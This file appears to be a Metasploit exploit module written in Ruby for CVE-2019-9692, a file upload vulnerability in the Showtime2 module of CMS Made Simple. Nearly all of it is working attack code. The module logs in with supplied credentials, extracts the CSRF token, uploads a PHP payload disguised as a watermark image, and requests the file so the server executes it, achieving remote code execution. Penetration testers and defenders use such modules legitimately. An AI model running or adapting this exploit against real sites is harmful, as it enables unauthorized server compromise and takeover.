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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(info,
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      'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
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      'Description' => %q(
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        This module exploits a File Upload vulnerability that lead in a RCE in
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        Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
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        user with "Use Showtime2" privilege could exploit the vulnerability.
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        The vulnerability exists in the Showtime2 module, where the class
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        "class.showtime2_image.php" does not ensure that a watermark file
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        has a standard image file extension (GIF, JPG, JPEG, or PNG).
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        Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
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        3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1
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      ),
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      'License' => MSF_LICENSE,
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      'Author' =>
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        [
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          'Daniele Scanu', # Discovery & PoC
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          'Fabio Cogno' # Metasploit module
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        ],
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      'References' =>
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        [
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          ['CVE', '2019-9692'],
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          ['CWE', '434'],
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          ['EDB', '46546'],
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          ['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],
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          ['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']
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        ],
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      'Platform' => 'php',
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      'Arch' => ARCH_PHP,
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      'Targets' => [['Automatic', {}]],
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      'Privileged' => false,
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      'DisclosureDate' => '2019-03-11',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),
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        OptString.new('USERNAME', [true, "Username to authenticate with", '']),
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        OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
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      ]
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    )
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  end
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  def do_login
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
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      'vars_post' => {
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        'username' => datastore['username'],
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        'password' => datastore['password'],
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        'loginsubmit' => 'Submit'
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      }
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    )
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    unless res
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      fail_with(Failure::Unreachable, 'Connection failed')
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    end
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    if res.code == 302
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      @csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
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      @csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
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      @cookies = res.get_cookies
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      return
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    end
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    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
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  end
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  def upload(fname, fcontent)
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    # construct POST data
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    data = Rex::MIME::Message.new
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    data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
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    data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
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    data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
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    data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
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      'ctype' => "multipart/form-data; boundary=#{data.bound}",
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      'data' => data.to_s,
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      'headers' => {
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        'Cookie' => @cookies
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      }
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    )
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    unless res
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      fail_with(Failure::Unreachable, 'Connection failed')
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    end
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    if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)
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      return
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    end
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    print_warning('No confidence in PHP payload success or failure')
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  end
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  def check
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
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    )
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    unless res
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      vprint_error 'Connection failed'
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      return CheckCode::Unknown
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    end
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    if res.code == 200
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      module_version = Rex::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
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      if module_version < Rex::Version.new('3.6.3')
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        # Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
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        vprint_status("Showtime2 version: #{module_version}")
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        return Exploit::CheckCode::Appears
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      end
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    unless Exploit::CheckCode::Appears == check
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      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
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    end
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    @csrf_name = nil
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    @csrf_value = nil
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    @cookies = nil
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    do_login
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    # Upload PHP payload
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    fname = "#{rand_text_alphanumeric(3..9)}.php"
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    fcontent = "<?php #{payload.encode} ?>"
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    print_status('Uploading PHP payload.')
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    upload(fname, fcontent)
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    # Register uploaded PHP payload file for cleanup
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    register_files_for_cleanup('./' + fname)
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    # Retrieve and execute PHP payload
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    print_status("Making request for '/#{fname}' to execute payload.")
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    send_request_cgi(
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      {
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        'method' => 'GET',
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        'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
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      },
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      15
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    )
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  end
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end
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